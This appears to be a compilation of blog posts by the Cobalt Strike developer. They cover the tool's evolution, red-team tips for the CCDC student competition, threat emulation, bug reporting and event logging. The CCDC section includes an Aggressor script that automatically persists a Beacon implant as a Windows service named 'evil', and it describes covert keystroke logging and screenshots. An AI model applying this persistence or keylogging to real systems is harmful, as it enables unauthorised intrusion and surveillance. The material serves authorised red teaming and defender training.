I didn’t feel my work was done yet. While I had a solid process based on the Metasploit Framework, I had run into situations where asynchronous communication with Beacon was my only option. I wanted to know that it was possible to fall back to “just Beacon” and operate in these situations.

I began to work on adding Beacon features to complement the things a skilled operator could do from a command shell. For example, I didn’t add automation to run code on a remote host for lateral movement. An operator could do this from a shell. But, I did add token stealing and privilege escalation features. These features combined with what the operator could do from a shell made for a fairly flexible lateral movement capability.

The biggest shift came with Cobalt Strike 2.1. This is the release where I added PowerShell support to Beacon. This release felt like Christmas. I was able to import PowerSploit and PowerTools scripts and use them as-is. Over night, Beacon gained an amazing amount of post-exploitation capability and automation.

My use of Cobalt Strike 2.1 and feedback from users pointed the same way: The combination of Beacon and PowerShell were enough for the red team problem set. Cobalt Strike’s fallback way to operate had become the preferred way for power users. This realization is when Cobalt Strike 3.0 was born.

It was time to evolve and imagine Cobalt Strike without the Metasploit Framework. I sat down, examined Cobalt Strike’s process, and noted which techniques it relies on. I then mapped out how I would do these things without the Metasploit Framework. In some cases, functionality existed elsewhere. Pass-the-hash with Mimikatz is a good example of this. In other cases, it made sense to build new features into Beacon. The screenshot tool and port scanner are good examples of this. This thought exercise became my functional specification and roadmap for Cobalt Strike 3.0.

Advanced Threat Tactics (2015)

Cobalt Strike 3.0 shipped in September 2015. This effort re-aligned Cobalt Strike’s features and workflows around Beacon. I also released 2015’s Advanced Threat Tactics course to cover the modern red teaming process Cobalt Strike 3.0 was built to support.

I’ll end this post with one last thought. Cobalt Strike 3.0’s offensive process is not Cobalt Strike specific. It’s recognition of this fact: a lightweight payload, mimikatz, and PowerShell are the foundations of a modern offensive process. The lightweight payload can be anything, so long as it provides the communication options and flexibility needed to support your operation. 2015’s Advanced Threat Tactics course is significant because it documents this modern process and shows what’s possible with this foundation.

Cobalt Strike Tips for 2016 CCDC Red Teams

It’s CCDC season again. CCDC is the National Collegiate Cyber Defense Competition. Teams of students in 10 regions run simulated business networks and defend against red team attacks. The winners of these regional events square off at the National CCDC in San Antonio, TX.

Strategic Cyber LLC is making Cobalt Strike available to the red teams at the regional and National CCDC events. License information should come from your red team lead. If you’re a lead and you don’t have this information, shoot me an email.

Here are a few notes on how to benefit from Cobalt Strike during your CCDC event:


Many organizers will allow a red team member to scan blue networks before the event starts. I recommend that you use NMap and use the –oX flag to generate an XML file. Go to View -> Targets and press Import to bring this information into Cobalt Strike.

Initial Access

Some CCDC events operate under the mantra of assume breach. In these events, the red team pre-seeds their backdoors and misconfigurations on blue team systems. For these events, I would export a stageless HTTP or DNS Beacon (Attacks -> Packages -> Windows Executable (S)) and run it on each starter system.

Other events promise students “clean systems”. These events start with a frantic race. Students rush to change passwords and isolate their networks in a way the rules allow. The red team launches carefully prepared scripts to exploit vulnerable services or default passwords to get footholds in the unsecured blue networks.

Cobalt Strike 3.0 and later no longer integrate the Metasploit Framework. I would not use Cobalt Strike 3.x for these scripted opening salvos. If you want to efficiently launch exploits at a lot of targets, use Armitage or create a Metasploit resource script.

If you still want to use Cobalt Strike to launch attacks without a foothold, read How do I psexec without an initial Beacon?


Cobalt Strike’s Beacon payload does not include built-in persistence. This is by design. If I include a turn-key persistence option, everyone will know to look for it. Instead, I expect you to script something.

Here’s a script that automatically persists on a system when a new Beacon comes in:

# 1. Go to Attacks -> Packages -> Windows Executable (S)
# 2. Export a Windows Service EXE file
# 3. Save as evil.exe in the same folder as this script

on beacon_initial {
	bcd($1, "c:\\windows\\");
	bupload($1, script_resource("evil.exe"));
	bshell($1, "sc create evil binpath= \"c:\\windows\\evil.exe\"");
	bshell($1, "sc start evil");

Consult the Aggressor Script documentation for more information on scripting Cobalt Strike 3.x.

User Exploitation

Cobalt Strike does not bake its screenshot and keystroke features into the Beacon agent. Instead, these features are Reflective DLLs that inject into a process of your choosing. These DLLs then report information back to Cobalt Strike’s Beacon. This allows you to sit in a SYSTEM-level process and watch the user’s keystrokes and take screenshots without migrating processes. Cobalt Strike also has a neat workflow to mass deploy these features. I recommend that you watch this video and become familiar with these features. It’ll make your event a lot more fun. 🙂

Tool Interoperability and Session Passing

Multiple toolsets are in play during the CCDC events. I would expect to see BeaconPowerShell Empire, Meterpreter, and Throwback. You’ll want to know how to use these tools together.

Justin Warner’s Empire & Tool Diversity: Integration is Key blog post shows how to use PowerShell Empire to interoperate with Cobalt Strike and the Metasploit Framework.

Cobalt Strike has thought out workflows to tunnel the Metasploit Framework through Beacon, spawn Meterpreter sessions, and deliver Beacon with Metasploit Framework exploits. Read Interoperability with the Metasploit Framework to understand these best practices to use Cobalt Strike and the Metasploit Framework together.

Finally, you can use Silent Break Security’s Throwback to pass sessions to Cobalt Strike. Ask Throwback to spawn a Meterpreter Reverse HTTPS or Meterpreter Reverse HTTP payload and point the IP address/port at your Beacon listener. Brady Bloxham’s Throwback Thursday – A Guide to Configuring Throwback blog post will take you through Throwback setup and use, step-by-step.

Screenshots, Logs, and Reports

Cobalt Strike now logs all red team activity on its team server. These logs are stored in the logs/ folder co-located with your Cobalt Strike distribution. All commands, output, and screenshots are available with timestamps for each activity. If you need ground truth on whether or not something happened, these logs are the place to go.

Red Team Leads are always asking for good screenshots. Use Ctrl+T to take a screenshot of the current tab in Cobalt Strike. This feature pushes screenshots to the team server and stores them in the logs/[date]/screenshots folder. You no longer have to worry about the interesting screenshots living on random volunteer laptops.

Cobalt Strike’s Reports are helpful aids for debriefing with your student blue teams. Reporting -> Activity Report is an action-by-action timeline of all red team activity. Reporting -> Sessions Report documents red team infrastructure, indicators, and activity on a session-by-session basis. Finally, Reporting -> Indicators of Compromise lists MD5 hashes of files put on disk and all of your callback domains and IP addresses. If you use multiple team servers, don’t fret! Cobalt Strike’s Reporting Tool merges information from all servers you’re connected to when it makes its reports.

How to Prepare

If you’re new to red teaming at CCDC or Cobalt Strike, there are several resources to help you prepare for your event:

Watch Advanced Threat Tactics to learn about Cobalt Strike and its workflows. This nine-part course is a time investment, but it’ll provide the background necessary to understand use Cobalt Strike.

I have several write-ups on previous CCDC events: Start with So, you won a regional and you’re headed to National CCDC. This blog post is a generic description of how the National CCDC team works and the defenses we commonly see. National CCDC Red Team – Fair and Balanced documents my experience on the 2013 National CCDC Red Team. WRCCDC – A Red Team Member’s Perspective covers my experience at the 2013 WRCCDC. Last, check out CCDC Red Teams: Ten Tips to Maximize Success. While these posts are older, their content is relevant going into this CCDC season.

Finally, watch Dirty Red Team Tricks I and Dirty Red Team Tricks II. These talks discuss my early days of CCDC Red Teaming and provide a first-hand account of a CCDC red team’s evolution from catch-and-release exploitation of vulnerable systems to providing a persistent actor for students to detect and respond to.

The Threat Emulation Problem

There are a lot of people who talk about threat emulation. Use our super-duper-elitesy-neatsy-malware to emulate these tactics in your network. I say stuff like that too. It’s cool. In this post, I’d like to write about what threat emulation means to me, really.

I see a red teams as offensive operators capable of executing attacks as an advanced representative actor. By representative actor, I mean one that may have similar sophistication to what their customer faces day-to-day, but the actions of the red team are solely theirs. The red team has their own tradecraft, their own process, and their own way of doing things. They’re not really emulating anyone else [although, like all good offensive actors, they’re happy to blatantly borrow what works from others].

What is the value of these red team operations? I covered this topic in Models for Red Team Operations. I see red teams provide a lot of value when they work to exercise a security process in a comprehensive way.

So far, we’ve established: a red team is a representative actor. Fine. What’s a threat emulator then? A threat emulator is an offensive operator who emulates a specific threat in a network. What is the value of a specific threat over a representative threat? Analysis. As a representative actor, there’s little room to exercise and evaluate a training audience’s ability to analyze the incident, tie it to threat intelligence, and possibly cross-share it with others. If a team emulates a specific actor, ideally, there’s a wealth of information for incident response teams to draw on to better inform their actions and drive their process.

If threat emulation is emulating a specific threat AND the purpose behind this is to exercise analysis, then what is the threat emulation problem?

The threat emulation problem is fooling an analyst into believing they’re dealing with a real-world actor during a simulated incident.

There are a lot of approaches to this problem. One approach is to use the actor’s malware when it’s available. Another approach is to dress up a payload to have indicators that are similar to the emulated actor’s malware. This is the approach Cobalt Strike takes with its Malleable C2 technology.

I’ve had an interest in the Threat Emulation problem for a while. Here are a few resources on it:

If you’d like to learn more about Threat Emulation with Cobalt Strike, take a look at Puttering my Panda and Other Threat Replication Case Studies. This blog post shows how to dissect a threat intelligence report and use Cobalt Strike to emulate targeted attacks and indicators from three actors.

If you’d like to learn more about the Threat Emulation problem set, watch 2014’s Hacking to Get Caught. In this talk I discuss what it means to emulate a threat during a red team assessment. I go through approaches other than my own. I then discuss my thoughts on the Threat Emulation problem and potential solutions. This talk pre-dates the release of Malleable C2.

If you’d like thoughts on how Threat Emulation fits into the broader shifts taking place in our industry, watch 2015’s Hacking to Get Caught talk. The content of this talk is different from the 2014 talk. Hacking to Get Caught discusses Adversary Simulations, Cyber Security Exercises, and a trend towards using offensive assets to test and evaluate security operations. I see Threat Emulation as a way to exercise analysis (when that’s the goal). You may also want to look at Raphael’s Magic Quadrant. This blog post summarizes my thoughts on these broad shifts.

A Quick Guide to Bug Reports

One of the hardest parts of being a developer is working with bug reports and support requests disguised as bug reports. Some people write very good bug reports. These reports give me the information I need to reproduce the problem and advise from there. Others offer a vague description of their problem with no context. These cases are tough.

Recently, I had a bug report for a hard to reproduce issue. The person who provided the bug report followed a guide I gave to Cobalt Strike 3.0’s beta testers. He provided everything the guide asked for. It was beautiful. I had the exact information I would try to get if I were sitting at his computer working the issue.

In this blog post, I’d like to share the bug report guide I gave to Cobalt Strike 3.0’s beta testers. If you need to send a bug report or request support, email

1. Describe the problem with as much context as possible

When you report a bug [or request support], try to answer these questions:

1. What are you trying to do?
2. Which steps did you take to accomplish this?
3. What happened?
4. What did you expect?
5. Which steps did you take to troubleshoot it?

Here’s an example:

“I’m trying to use the DNS Beacon (windows/beacon_dns/reverse_http). I setup an A record for on my team server. I pointed NS records for and to I’m not able to get a system in my customer’s environment to call back. I don’t know how to troubleshoot further.”

The above is useful. It gives me context about the problem the user is experiencing. In the case of the DNS Beacon, it’s pretty easy to troubleshoot with information about the beacon domains and the address of the team server. It also helps me to know if you’re seeing something in a test lab or a customer’s environment. When you report a bug, it’s better for both of us if you can reproduce it in a test lab. A test lab is better because then we can have a dialog about the factors in play. A customer’s environment is very hard. There are too many unknowns that can affect the outcome of some task

This example is also useful because it provides specifics about the user’s configuration from the get go. In the case of a C2-related question, listener information is key. If you have trouble sending a phish, a copy of your phishing template is useful too. Anything you can provide me that allows me to look at a question in my local lab is going to lead to better resolution of a question or bug report.

2. Your Environment

The next thing I need to know is information about your Cobalt Strike environment. It’s important for me to know which version of Cobalt Strike you’re using and which version of Java. Fortunately, Cobalt Strike 3.0 makes this very easy. Go to Help -> System Information. This will generate a system information summary for your Cobalt Strike client AND team server.

Over time, as I come up with more contextual factors I want to know about your Cobalt Strike client, I will update this feature to provide them.


3. Console Messages

Cobalt Strike 3.0 has a global class called MudgeSanity. It’s named this, because the purpose of this code is to help me keep my sanity. Cobalt Strike 3.x passes all notifications (routine), unexpected situations, and errors through this MudgeSanity class. Right now, the MudgeSanity class prints its messages to the Cobalt Strike team server console and to the console the client was started from. When you file a report or ask a question, it’s very helpful to provide all of the output of the Cobalt Strike client and team server in your initial query. Please don’t paraphrase this information. Screenshots, cellphone photos of your screen, and copy/paste are all equally fine.


4. List of Threads and Stack Traces

If Cobalt Strike deadlocks [freezes, either the server or the client] OR if you notice Cobalt Strike is eating your CPU, it will help if you dump a list of all threads currently running in Cobalt Strike. This is easy to do on Linux with the kill command. Use ps waux | grep java to find the Java processes that are running. Use kill -3 [PID] to request the Java process dump a list of all threads with a detailed stacktrace for each. As a bonus, if this feature detects a deadlock, it will say so. If a deadlock occurs AND I have this information from both the team server and the client, I have a really good chance of fixing it.


Also, run ps -eLo pid,lwp,nlwp,ruser,pcpu,stime,etime,args | grep java and send the output of this with your stack trace. This command will list the light-weight-process associated with each Java thread and how much CPU it’s using. This information will allow me to map high CPU use back to a specific thread.

5. Memory Use

If your Cobalt Strike team server or client seems like it’s hogging memory, consider dumping a summary of your Java heap. The jmap tool that ships with Java makes this easy. The preferred output comes from jmap –histo:live [PID]. If this gives you an error, try: jmap –F –histo [PID]. These commands will dump a full summary of Java objects in memory. If you provide me with this information for both your team server and Cobalt Strike client—it will help me to track down memory leaks or memory-related performance issues.



Real-Time Feed of Red Team Activity

There are several research projects to collect raw data from red team activity, process this data, and try to turn it into information. In this blog post, I’ll show you how to instrument a Cobalt Strike team server and generate a real-time feed of engagement activity.

Aggressor Script is the scripting engine in Cobalt Strike 3.0 and later. Aggressor Script uses the on keyword to hook different events generated by Cobalt Strike. The * event is a special event baked into Aggressor Script. The * event fires for every Cobalt Strike event.

Here’s a simple script to hook the * event and write its arguments to the events.txt file:

on * {
    $handle = openf(">>events.txt");
    println($handle, "[EVENT] $1");
    foreach $index => $argument (subarray(@_, 1)) {
        println($handle, "[Argument $index $+ ] $argument");

The first parameter to the * event is the event name. Each parameter after that are the fired event’s original parameters.

To load this script: save the example in events.cna. Go to View -> Script Console in Cobalt Strike. Type load /path/to/events.cna. The script is now loaded.

As new events come in, this script will append them to the events.txt file. What gets fired as a Cobalt Strike event? Everything! Input to a Beacon, by any user, is an event. Output to a Beacon is an event. New content hosted on Cobalt Strike’s web server is an event. You get the idea.

Feel free to modify this script to feed your local data collection monster.